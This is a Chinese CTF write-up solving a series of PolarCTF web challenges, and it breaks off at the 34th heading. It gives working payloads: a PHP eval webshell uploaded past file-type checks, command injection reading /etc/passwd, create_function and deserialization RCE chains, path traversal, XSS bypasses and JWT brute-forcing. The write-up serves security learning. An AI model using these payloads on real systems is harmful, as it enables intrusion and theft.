Skip to content

polarctf_web-简单题

1.题目:[swp]

考点:

(1)缓存文件(swp文件)

(2)preg_match函数绕过

题目来源:Polarctf-web-[swp]

image-20250402173416621

解题:

  1. 用御剑扫目录,扫出"url/index.php",猜测index.php即为产生swp的文件

image-20250402173636505

  1. 输入"url/.文件名.swp"访问生成的swp文件

image-20250402173921738

代码缩进有点乱,选择查看源代码

image-20250402173945387

  1. 代码审计
php
function jiuzhe($xdmtql){
    return preg_match('/sys.*nb/is',$xdmtql);	# 返回'/sys.*nb/is'是否匹配$xdmtql的结果,匹配为1,不匹配为0
}
/*
正则表达式 `/sys.*nb/is` 的含义如下:

1. `/` - 正则表达式的开始和结束分隔符
2. `sys` - 精确匹配字母 "sys"
3. `.*` - 匹配任意字符(除换行符外)零次或多次
   - `.` 匹配任意单个字符
   - `*` 表示前一个元素可以出现零次或多次
4. `nb` - 精确匹配字母 "nb"
5. `is` - 正则表达式的修饰符(标志)
   - `i` 表示不区分大小写匹配
   - `s` 表示单行模式(使 `.` 也能匹配换行符)

这个正则表达式会匹配包含 "sys" 后面跟着任意字符(包括换行符,因为用了 s 修饰符),然后接着 "nb" 的字符串,并且匹配时不区分大小写。

例如它会匹配:
- "sys123nb"
- "Sys\nalert\nNb"
- "SYSTEM NOTEBOOK"(如果整个字符串被视为一个整体)
*/

$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){	# 检测$xdmtql是否是数组,如果不是则进入里层判断
    if(!jiuzhe($xdmtql)){	# 检测$xdmtql是否匹配'/sys.*nb/is',如果不匹配则进入里层判断
        if(strpos($xdmtql,'sys nb')!==false){	# 检测$xdmtql中'sys nb'的起始位置(此处主要用来判断$xdmtql中是否存在'sys nb',如果存在则输出flag)
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';
    }
}

分析结果:需要用post方法传递一个xdmtql参数;该参数不能是数组,故不可以进行数组绕过;要求这个参数又匹配/sys.*nb/is,又要求这个参数含有sys nb,产生矛盾

  1. 传递足够长的数据使preg_match函数失效(利用PCRE回溯次数限制绕过)
python
import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('http://b56a81ab-4248-40aa-a5fe-bf252c2cd190.www.polarctf.com:8090/',
                    data=data, allow_redirects=False)	# 此处需要输入自己对应的url
print(res.content)
# pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到
# allow_redirects=False 表示禁止自动处理重定向。如果服务器返回重定向响应(如 302),requests 不会自动跟随重定向。

获得flag:flag{4560b3bfea9683b050c730cd72b3a099}

image-20250402175812431

2.题目:[robots]

考点:

爬虫协议(robots.txt)

题目来源:polarctf-web-[robots]

image-20250424181325085

解题:

查看爬虫协议robots.txt文件

image-20250424181409063

查看得到的url,得到flag

image-20250424181449494

3.题目:[简单rce]

考点:

(1)RCE(eval函数)

(2)执行函数(passthru函数)

(3)/顶级(根)目录查看

(4)sort排序查看函数

题目来源:Polarctf-web-[简单rce]

image-20250404181322826

解题:

代码审计

php
<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){	# WAF:检测$txt是否匹配这些命令,如果不匹配则返回$txt(即执行)
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){	# 要求get传参sys,post传参yyds=666,满足则执行no($_GET['sys']
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

分析结果:post传参yyds=666,get传参sys,如果传递的sys绕过了WAF,则执行sys命令,可利用sys传参实现任意代码执行

由于未过滤执行函数passthru(),故可以利用该函数实现任意代码执行

(1)sys=passthru('ls');

查看当前路径下有什么文件,仅有一个index.php文件

image-20250404182643656

(2)sys=passthru('sort%09index.php');

  • sort:Linux 系统命令,用于对文件内容排序并输出内容。
  • %09:URL 编码的 水平制表符(\t,在 Shell 中相当于空格。

查看index.php文件,该文件即为初始显示的前端页面,无利用点

image-20250404183515593

(3)sys=passthru('ls%09/');

查看顶级目录(根目录)下有什么文件

image-20250404183750172

看到存在可疑文件flag

(4)sys=passthru('sort%09/flag');

排序并输出flag文件

image-20250404184021305

(5)也可以使用sys=passthru('vi%09/flag');

image-20250404184507443

4.题目:[rce1]

考点:

(1)RCE(exec函数)

(2)空格绕过

(3)执行函数(exec函数)

(4)闭合(ping命令闭合)

题目来源:Polarctf-web-[rce1]

image-20250405133055755

解题:

这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。

  1. 命令注入漏洞 (高危)
  • 漏洞位置: $cmd = "ping -c 4 {$ip}";exec($cmd, $res);

  • 问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:

    • 使用制表符 %09 代替空格
    • 使用 ${IFS} (Bash 内部字段分隔符)代替空格(本题使用这个)
    • 使用重定向符号 <> 不需要空格
    • 使用 ;&&|| 等命令连接符
  • 攻击示例:

    127.0.0.1;cat${IFS}/etc/passwd
    127.0.0.1%0als${IFS}-l
  1. 输入验证不足 (中危)
  • 问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证
php+HTML
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {	# 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);	# 执行cmd命令,res用于存储命令的每一行输出
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>ping</title>
</head>
<body>
<style>
    html{
        height:100%;
    }
    body{
        padding: 0;
        margin: 0;
        background: url(1.png);
        background-size: 100% 100%;
        position: absolute;
    }
    
</style>

<h1>就过滤了个空格,能拿到flag算我输</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

image-20250405143123284

用分号闭合ping命令,输入ls,点击"Ping"查看当前目录文件

image-20250405140419797

image-20250405140536606

使用命令查看可疑文件,由于过滤了空格,此处使用${IFS}进行绕过:;cat${IFS}fllllaaag.php

image-20250405140934509

点击"Ping"

image-20250405140950883

成功回显,查看源码获得flag

image-20250405141029948

5.题目:[某函数的复仇]

考点:

匿名构造函数(create_function)

题目来源:polarctf-web-[某函数的复仇]

image-20250424160301561

解题:

代码审计:

php
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
    $shaw = $_POST['shaw'];
    $root = $_GET['root'];
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            $shaw('',$root);
        }else{
            echo "Almost there^^";
        }
    }
}
?>
txt
正则表达式 /^[a-z_]*$/isD 讲解

^:这是一个锚点,表示匹配字符串的开始。它确保了正则表达式从字符串的最开始位置开始匹配。

[a-z_]:这是一个字符集,它匹配小写字母(a-z)和下划线(_)。在这个字符集内,任何一个字符都会被认为是有效的匹配字符。

*:这是量词,表示匹配前面的字符集零次或多次。也就是说,这个正则表达式会匹配由小写字母和下划线组成的字符串,长度可以为零(空字符串也可以匹配)。

$:这是另一个锚点,表示匹配字符串的结束。它确保了正则表达式从字符串的最末尾结束匹配。

i(修饰符):这是一个正则表达式的标志,表示忽略大小写。在这个表达式中,a-z 会匹配所有字母,无论是大写还是小写。因此,[a-z_] 会匹配字母(大小写都可以)和下划线。

s(修饰符):这个修饰符表示“dotall”模式,在这个模式下,.(点号)可以匹配换行符。虽然这个正则表达式本身并没有使用.,但如果它用于更复杂的表达式中,s标志会让dot匹配所有字符,包括换行符。

D(修饰符):这是“Unicode修饰符”的一个变种。它限制了正则表达式的匹配字符只能是单字节的字符,在一些特定的环境中,D可能会影响匹配行为,但它在普通正则表达式中并不常见。

使用动态创建匿名函数的函数create_function

解题payload:

image-20250424162107840

create_function漏洞详细解析

create_function('', $root)执行时,它在PHP内部实际上是这样工作的:

  1. PHP会动态创建一个匿名函数,大致如下:

    php
    function anonymous() {
        这里是$root的内容
    }
  2. 当我们传入$root = }system(%22s\ort%20/flag%22);/*时,PHP实际生成的代码就变成了:

    php
    function anonymous() {
        }system("s\ort /flag");/*
    }
  3. 注意看第一个},它提前闭合了函数定义的大括号,使后面的代码跳出了函数体的范围

  4. 接着system("s\ort /flag")会作为独立的PHP代码执行,而不是函数体内的代码

  5. 最后/*是多行注释的开始,它注释掉了后面所有内容(包括函数定义末尾多余的}),防止PHP解析出语法错误

6.题目:[$$]

考点:

(1)var_dump函数

(2)超全局变量(GLOBALS)

题目来源:Polarctf-web-[$$]

image-20250404225359925

解题:

代码审计

php
<?php
/*

PolarD&N CTF

*/

highlight_file(__file__);
error_reporting(0); 
include "flag.php";

$a=$_GET['c'];	# get传参c并赋值给a
if(isset($_GET['c'])){	# 如果传参了c,进行匹配
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){	# 过滤了大部分的字符,不允许$a含有
        die("oh on!!!");}
    
    else{
        eval("var_dump($$a);");}}

var_dump函数会列出变量的基本属性包括值

使用GLOBALS超全局变量

?c=GLOBALS

这会显示所有全局变量,包括$flag

image-20250404230357747

7.题目:[签到题]

考点:

(1)身份鉴别(篡改cookie)

(2)php伪协议

(3)目录遍历及其绕过

题目来源:Polarctf-web-[签到题]

image-20250405205728550

解题:

抓包,将cookie字段的didi=no改为didi-yes,点击发送得到一段编码

image-20250405210313436

进行base64解码得到一个路径 ./data/index.php

image-20250405210659776

查看该url

image-20250405210924837

代码审计

php
<?php
    error_reporting(0);
    $file = $_GET['file'];
    if(!isset($file))	# 如果file参数未设定,则file赋值为1
        $file = '1';
    $file = str_replace('../', '', $file);	# 过滤目录遍历符号"../"
    include_once($file.".php");
    highlight_file(__FILE__);
?>

使用php伪协议和双写绕过(测试到向上穿越了四层目录):

?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

image-20250405211745646

再进行base64解码得到flag

image-20250405211856834

image-20250405211911680

8.题目:[php very nice]

考点:

(1)序列化与反序列化

(2)魔术方法(__destruct())

(3)RCE(eval函数)

题目来源:Polarctf-web-[php very nice]

image-20250416165935814

解题:

代码审计

php
<?php
 highlight_file(__FILE__);
 class Example
 {
     public $sys='Can you find the leak?';
     function __destruct(){	# 销毁类时自动调用
         eval($this->sys);	# 将变量sys当做代码执行
     }
 }
 unserialize($_GET['a']);	# 将get输入的a进行反序列化
 ?>

因此利用sys变量构造指令,并将类其进行序列化

<?php
 class Example
 {
     public $sys="system('ls');";
     function __destruct(){	# 销毁类时自动调用
         eval($this->sys);	# 将变量sys当做代码执行
     }
 }
$a = new Example();
echo serialize($a);
 ?>

序列化输出结果

shell
O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}

传参

image-20250416170218773

继续构造命令,获取flag.php文件(多次测试后,发现cat被过滤了,可以用tac/sort)

php
<?php
 class Example
 {
     public $sys="system('tac flag.php');";
     function __destruct(){	# 销毁类时自动调用
         eval($this->sys);	# 将变量sys当做代码执行
     }
 }
$a = new Example();
echo serialize($a);
 ?>
O:7:"Example":1:{s:3:"sys";s:23:"system('tac flag.php');";}

传参得到flag

image-20250416170515025

9.题目:[ezupload]

考点:

(1)文件类型绕过

(2)php一句话木马

题目来源:polarctf-web-[ezupload]

image-20250416192742545

解题:

点击上传按钮,提示只能上传GIF文件

image-20250416192759070

上传木马文件shell.php并抓包

木马内容为:

php
<?php
@eval($_POST['admin']);
?>

![屏幕截图2025-04-16 195506](polarctf_web-简单题.assets/屏幕截图2025-04-16 195506.png)

将mime类型改为:image/gif

![屏幕截图2025-04-16 195638](polarctf_web-简单题.assets/屏幕截图2025-04-16 195638.png)

放包得到木马位置

image-20250416182127841

使用蚁剑连接

image-20250416195803067

在www目录下找到flag.php文件

image-20250416200030889

查看得到flag

image-20250416200107950

10.题目:[upload]

考点:

(1)扩展名双写绕过

(2)php一句话木马

题目来源:polarctf-web-[upload]

image-20250416201823752

解题:

查看网页源代码,看到注释?action=show_code

image-20250416201905601

访问该url,看到源码

image-20250416202028076

代码审计

php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);	# 将文件名取出并去除前后空格
        $file_name = str_ireplace($deny_ext,"", $file_name);	# 如果文件名中存在黑名单中的扩展名则去除
        $temp_file = $_FILES['upload_file']['tmp_name'];	# 获取文件上传的临时路径
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;	# 构造新的文件路径(此处目的是构造新的文件名)   
        if (move_uploaded_file($temp_file, $img_path)) {	# 将文件名改为 随机数.文件名 
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

将木马名从shell.php改为shell.pphphp,进行扩展名双写绕过

image-20250416204447478

上传成功,不知道木马的url,利用御剑进行目录扫描,扫到了/upload,进行访问

image-20250416204738341

屏幕截图2025-04-16205054

用蚁剑进行连接,在根目录下拿到flag

image-20250416205254720

注:上传的木马url也可以直接查看源码

屏幕截图2025-04-16210832

11.题目:[seek flag]

考点:

(1)爬虫协议

(2)身份鉴别(篡改cookie)

题目来源:Polarctf-web-[seek flag]

image-20250402171535431

解题:

  1. 查看源代码

image-20250402171655012

提示爬虫协议,输入url/robots.txt查看爬虫协议获得第三段flag

image-20250402171805231

  1. 抓包看到cookie值为"id=0"

image-20250402171929548

右键发送到重放器(Repeater),发送后切换到重放器模块

image-20250402172259279

点击发送,在响应体的 "Flag2" 字段中得到第二段flag

image-20250402172332160

  1. 在重放器中将cookie值篡改为"id=2",点击发送,在响应体中得到第一段flag

image-20250402172518327

  1. 三段合在一起即为最终提交的flag:

flag{7ac53ca8737a70f029dc0ad71dadd11}

考点:

身份鉴别(篡改cookie)

image-20250416200525260

解题:

根据题目cookie,f12,在存储中找到cookie

屏幕截图2025-04-16200647

将cookie值改为admin并保存,刷新得到flag

image-20250416200817458

13.题目:[jwt]

考点:

身份鉴别(解密jwt令牌)

题目来源:Polarctf-web-[jwt]

image-20250404171119477

解题:

登录时随意输入提示无此用户,故随便注册一个账户

image-20250404171337389

注册成功后进行登录,根据题目名称"jwt",故进行抓包获取token(因为要登录后才会得到token反馈,故在登录后再刷新页面进行抓包)

image-20250404171650439

image-20250404171548250

将数据包发送至重放器(Repeater)模块,并将抓到的JWT复制下来进行JWT解码

image-20250404172029859

解码后发现无秘钥,故进行秘钥爆破

image-20250404172332260

得到秘钥为SYSA,将数据包发送,在响应包中看到提示flag为admins用户的密码

屏幕截图2025-04-04174711

故将用户名改为admins后进行编码,尝试多此后发现用户名为admin才对,提示也是给了一个陷阱

image-20250404174953198

将以前的token改为修改并编码后的token后发包,发现用户名成功更改为admin

屏幕截图2025-04-04175325

将改好的包复制并替换代理模块中抓到的包,然后放行

image-20250404175555161

前端成功回显用户名为admin

image-20250404175702939

点击个人中心,将新抓到的包中的原始token也改为修改后的admin的token,然后放行

image-20250404180026452

看到前端成功拿到flag

image-20250404180124539

14.题目:[iphone]

考点:

用户代理(user-agent伪造)

题目来源:Polarctf-web-[iphone]

image-20250404214343598

解题:

根据提示点击按钮

image-20250404214452607

显示需要在iphone或ipad端进行查看,点击查看源码,注释中提示修改UA

image-20250404214608275

抓包将User-Agent修改为iphone或ipad,然后放行即可获得flag

image-20250404214810814

image-20250404214828694

15.题目:[XFF]

考点:

转发代理的客户端原始 IP(X-Forwarded-For伪造)

题目来源:Polarctf-web-[XFF]

image-20250405131644702

解题:

抓包并发送至重放器模块(Repeater)

image-20250405131957814

根据提示修改X-Forwarded-For字段(此处包中无此字段,手动添加)来源ip为1.1.1.1,修改后点击"发送",响应包中获得flag

image-20250405132323282

16.题目:[蜜雪冰城吉警店]

考点:

前端代码篡改(id值篡改)

题目来源:Polarctf-web-[蜜雪冰城吉警店]

image-20250329223625319

解题:

题目提示 "点到第9个隐藏款奶茶的单子,就会给你flag"

查看源码,发现id对应奶茶款式

屏幕截图2025-03-29223929

f12,firefox浏览器选择"查看器"板块(google浏览器选择"Elements"板块),找到任意一个id篡改为9

屏幕截图2025-03-29224105

此处将id=1改为id=9

image-20250329224309315

再次回到页面点击原来的第一款,得到flag

image-20250329224422717

17.题目:[签到]

考点:

前端代码篡改(按钮属性篡改)

题目来源:Polarctf-web-[签到]

image-20250405214740504

解题:

观察到"提交按钮"点不了,f12,切换到查看器模块

image-20250405214900930

把按钮的"disabled"属性删除,然后点击"提交",提示提交ilovejljcxy即可获得flag

image-20250405215007849

找到输入框的名称为key

image-20250405215214489

post传参key=ilovejljcxy即可获得flag

image-20250405215352670

18.题目:[召唤神龙]

考点:

(1)查看网页源代码

(2)main文件

(3)Jsfuck代码混淆

题目来源:Polarctf-web-[召唤神龙]

image-20250404192634741

解题:

f12(会出现失效的情况,可以手动开启开发者模式)

image-20250404192930371

切换到"Sources"模块

image-20250404192755226

查看到main.js文件时看到可疑字符串

屏幕截图2025-04-04193129

为Jsfuck代码混淆编码,解码得到flag

image-20250404193324455

在线工具:url

19.题目:[GET-POST]

考点:

请求方式

题目来源:Polarctf-web-[GET-POST]

image-20250405144313054

解题:

根据题意需要get传参id=1,post传参jljcxy=flag

image-20250405144430539

点击"Execute",获得flag

image-20250405144501660

抓包同理

image-20250405145051123

方法改为POST(原GET改为POST),URL中添加?id=1(GET参数)

新增请求头

  • Content-Type: application/x-www-form-urlencoded(POST表单格式)
  • Content-Length: 11jljcxy=flag的字节长度)

添加请求体jljcxy=flag

点击"发送",获得flag

image-20250405145505603

20.题目:[Login]

考点:

爆破(递增爆破)

题目来源:Polarctf-web-[Login]

image-20250404210146816

解题:

查看网页源码,观察到注释了20200101 20200101

image-20250404210229023

尝试输入

image-20250404210339688

点击提交,显示登录成功,但无任何可疑回显

image-20250404210411405

尝试修改学号和密码,发现随着学号的增大,逐渐回显字母,而密码部分没做校验(除了20200101),输入任意密码都可正常回显

image-20250404210952940

image-20250404211007816

抓包并将包发送到爆破模块(Intruder),添加username为爆破参数image-20250404211211503

设置Payload为数值类型,生成类型为Sequential(顺序的),间隔为1

image-20250404211341200

点击"开始攻击",查看响应包学号(用户名)为20200102到20200111都有一个相应字符,将字符拼接起来即为flag

image-20250404211853757

image-20250404211910020

...

最终flag为:flag{dlcg}

21.题目:[爆破]

考点:

(1)爆破(字符集组合爆破)

(2)md5爆破

题目来源:Polarctf-web-[爆破]

image-20250404234021568

解题:

代码审计

php
<?php
error_reporting(0);

if(isset($_GET['pass'])){
    $pass = md5($_GET['pass']);	# 将pass的值修改为pass参数值的md5值
    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){	
        # pass的第一位,第十四位,第十七位相等(切片位置从0开始)
        if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){	
		# 如果pass的第一位、第十四位、第十七位转化为数值后相加,再除以第一位等于第三十一位转化为数值,那么输出flag
            include('flag.php');
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

方法一:脚本爆破

  • 期待字符串长度为2的爆破
php
<?php
error_reporting(0);
$string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
# echo strlen($string); #62位
for ($a = 0; $a < 62; $a++) {
	for($b = 0;$b < 62;$b++){
		$flag = $string[$a].$string[$b];
		$pass = md5($flag);
		if (substr($pass, 1, 1) === substr($pass, 14, 1) && substr($pass, 14, 1) === substr($pass, 17, 1)) {
			if ((intval(substr($pass, 1, 1)) + intval(substr($pass, 14, 1)) + substr($pass, 17, 1)) / substr($pass, 1, 1) === intval(substr($pass, 31, 1))) {
				echo $flag . "\n";
			}
		}
	}
            
}
?>

image-20250405001628618

  • 期待字符串为数字的爆破(不固定位数)
<?php
$i = 0;
while(true) {
    $pass = md5($i);
    if($pass[1] === $pass[14] && $pass[14] === $pass[17]) {
        $x = intval($pass[1]);
        $y = intval($pass[31]);
        if((3*$x)/$x === $y) {
            echo "Found: $i\n";
            echo "MD5: $pass\n";
            break;
        }
    }
    $i++;
}
?>

image-20250405001655693

方法二:抓包爆破

传参pass为随意的一个值进行抓包

image-20250405002922266

发送到爆破模块(Intruder),将pass添加为Payload

image-20250405002952282

设置Payload爆破规则:爆破,尝试使用默认字符集、长度为2的字符串爆破

image-20250405003013387

点击"开始攻击",点击"长度"进行排序,得到不同于其他响应包长度的包,点击查看获得flag

image-20250405003040860

22.题目:[被黑掉的站]

考点:

(1)信息搜集(目录扫描)

(2)爆破(字典爆破)

题目来源:Polarctf-web-[被黑掉的站]

image-20250405152904867

解题:

查看源代码,标题中提示DIR,使用御剑进行目录扫描

image-20250405153718630

扫描得到可疑文件index.php.bakshell.php

image-20250405153812875

查看index.php.bak,看到一个字典

image-20250405154008511

查看shell.php,是一个输入验证

image-20250405154049084

然后抓包爆破

image-20250405154512459

发送到爆破模块,添加Payload

image-20250405154606517

将字典内容复制(原始字典页面中无换行,可查看源码,有换行),设置Payload

image-20250405154744661

image-20250405154634033

点击"开始攻击",点击"长度"进行排序,得到flag

image-20250405154813801

image-20250405154922037

23.题目:[浮生日记]

考点:

(1)XSS

(2)弹窗

(3)双写绕过

(4)闭合(输入框闭合)

题目来源:Polarctf-web-[浮生日记]

image-20250404221421556

解题:

查看源码,注释中提示"弹个窗..."

image-20250404221549757

使用javascript编写弹窗脚本<script>alert(1)</script>

image-20250404221718350

点击"写日记",发现script被过滤了

image-20250404222011016

双写绕过<scscriptript>alert(1);</scscriptript>

image-20250404222056784

提交后未执行

image-20250404222118172

查看源码,发现value(严格上讲应该是输入框将javascript脚本包含了,导致不可执行)未闭合,先让其闭合`

屏幕截图2025-04-04222258

image-20250404222957163

提交得到flag

image-20250404223025665

image-20250404223039604

24.题目:[干正则]

考点:

(1)变量解析函数(parse_str函数)

(2)变量覆盖

(3)RCE

(4)闭合(ping命令闭合)

题目来源:polarctf-web-[干正则]

image-20250416211642512

解题:

代码审计

php
<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        # 假设a[0]=www.baidu.com,ip=127.0.0.1,则'ping -c 2 ' . $a[0] . $ip结果为
        # ping -c 2 www.baidu.com 127.0.0.1
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

payload

url
?id=a[0]=www.polarctf.com&cmd=|tac f*

讲解

txt
?id=a[0]=www.polarctf.com
	"@parse_str($id);" 解析为$a = array(0 => "www.polarctf.com")
	覆盖掉字符串$a = "www.baidu.com",即将原来的a[0]=w改为了a[0]=www.polarctf.com
	绕过if ($a[0] == 'www.polarctf.com')

cmd=|
	|管道符用于闭合"ping -c 2 ' . $a[0]",也可以用";"闭合

tac f*
	执行的命令,获取flag.php

25.题目[cool]

考点:

(1)RCE(eval函数)

(2)执行函数绕过(passthru函数)

(3)模糊匹配绕过字符串

题目来源:polarctf-web-[cool]

image-20250426212725921

解题:

php
 <?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){	# a不能是数字
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){	# 简单WAF过滤
        eval($a);	# eval用于执行字符串中的PHP代码
    }
}else{
    highlight_file(__FILE__);
}
?>

构造payload,绕过systemflag过滤

url
?a=passthru("cat f*");

image-20250426213550763

26.题目:[覆盖]

考点:

(1)变量解析函数(parse_str函数)

(2)变量覆盖

(3)闭合(ping命令闭合)

(4)文件名模糊匹配

题目来源:polarctf-web-[覆盖]

image-20250427160158600

解题:

php
 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {	# 需要利用parse_str覆盖原来的a
        $ip = $_GET['cmd'];
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);	# 闭合ping命令并rce
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

parse_str()变量覆盖,payload:

?id=a[0]=www.polarctf.com&cmd=|tac f*

image-20250427160330793

27.题目:[PHP反序列化初试]

考点:

(1)序列化与反序列化

(2)魔术方法(__wakeup())

(3)魔术方法(__toString())

(4)RCE(shell_exec函数)

题目来源:polarctf-web-[PHP反序列化初试]

image-20250427205323951

解题:

代码审计

php
 <?php
class Easy{
    public $name;
    public function __wakeup()	# unserialize函数被使用时该魔术方法被自动调用
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()	# 把类当作字符串使用时触发
    {
        $this->env=shell_exec($this->evil);	# 存在RCE
        return $this->env;
    }
}

if(isset($_GET['easy'])){
    unserialize($_GET['easy']);
}else{
    highlight_file(__FILE__);
}

# 链子:Easy.__wakeup()->Evil.__toString()
# 个人理解:题目中的unserialize触发__wakeup(),__wakeup()中的"echo $this->name;"触发__toString(),最后RCE

解题脚本

  • 查看文件
php
 <?php
class Easy{
    public $name;
}
class Evil{
    public $evil;
    public $env;	# 该属性权限改为public,不然序列化时会被解析为Evilenv
}

$a = new Easy();
$b = new Evil();
$a->name = $b;
$b->evil = "ls";
echo serialize($a);
php
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:3:"env";N;}}

image-20250427205402031

  • 查看flag
php
 <?php
class Easy{
    public $name;
}
class Evil{
    public $evil;
    public $env;
}

$a = new Easy();
$b = new Evil();
$a->name = $b;
$b->evil = "tac f*";
echo serialize($a);
php
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}

image-20250427205424688

28.题目:[机器人]

考点:

(1)爬虫协议(robots.txt)

(2)信息搜集(目录扫描)

题目来源:polarctf-web-[机器人]

image-20250427213408056

解题:

根据提示想到爬虫协议robots.txt,得到第一段flag

image-20250427213450691

再查看不允许查看的url

image-20250427213559415

被拒绝访问,使用御剑进行目录扫描,扫到了:

http://2d4ab33e-49fd-42c5-b4d0-6df7f0faa51c.www.polarctf.com:8090/27f5e15b6af3223f1176293cd015771d/flag.php

image-20250427213701337

访问得到第二段flag

image-20250427213751032

29.题目:[扫扫看]

考点:

信息搜集(目录扫描)

题目来源:polarctf-web-[扫扫看]

image-20250428140230341

解题:

根据题意进行目录扫描

image-20250428140259610

访问flag.php

image-20250428140331657

查看源码得到flag

image-20250428140402474

30.题目:[debudao]

考点:

身份鉴别(cookie)

题目来源:polarctf-web-[debudao]

image-20250428143704170

解题:

查看源码得到一个假的flag

image-20250428143646842

f12查看存储中的cookie,存着一个flag,%7B、%7D分别对应{、},提交通过:flag{72077a55w312584wb1aaa88888cd41af}

image-20250428143729139

31.题目:[审计]

考点:

(1)正则表达式

(2)特殊md5值

题目来源:polarctf-web-[审计]

image-20250428144616504

解题:

php
no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {	# 要求get传参xxs
    $input = $_GET['xxs'];

    if (is_array($input)) {	# 要求xss不为数组
        die("错误:输入类型不允许为数组。");
    }
    if (!preg_match("/^0e[0-9]+$/", md5($input))) {	# 要求xxs的md5值以0e开头,且后边跟着数字
        die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
    }
    if (!is_numeric($input)) {	# 要求xxs为数字
        die("错误:输入必须是数字。");
    }

    die("恭喜:".$flag);
} else {
    die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。

240610708的md5值为0e462097431906509019562988736854,满足题意,payload:

?xxs=240610708

得到flag

32.题目:[upload1]

考点:

(1)文件上传(php一句话木马)

(2)文件后缀绕过

(3)js代码禁用

题目来源:polarctf-web-[upload1]

image-20250428145842926

解题:

题目要求上传shell,但又只能上传图片格式文件

查看源码是使用js进行校验文件类型的

image-20250428145931979

使用插件Javascript Switcher禁用js代码

image-20250428150147203

调成灰色即代表禁用js,shell内容

php
<?php
@eval($_POST['admin']);
?>

屏幕截图2025-04-28150237

点击上传,上传成功

image-20250428150337483

使用蚁剑连接,得到flag

image-20250428150417982

33.题目:[投喂]

考点:

序列化与反序列化

题目来源:polarctf-web-[投喂]

image-20250428153022457

解题:

根据提示需要post传参datadata为序列化字符串,序列化对象为User,包括两个属性:username、is_admin,其中要求is_admin=true

php
<?php
class User{
    public $username;
    public $is_admin=true;
}
$data = new User();
echo serialize($data);
?>
O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

得到flag

image-20250428153337444

34.题目:[来个弹窗]

考点

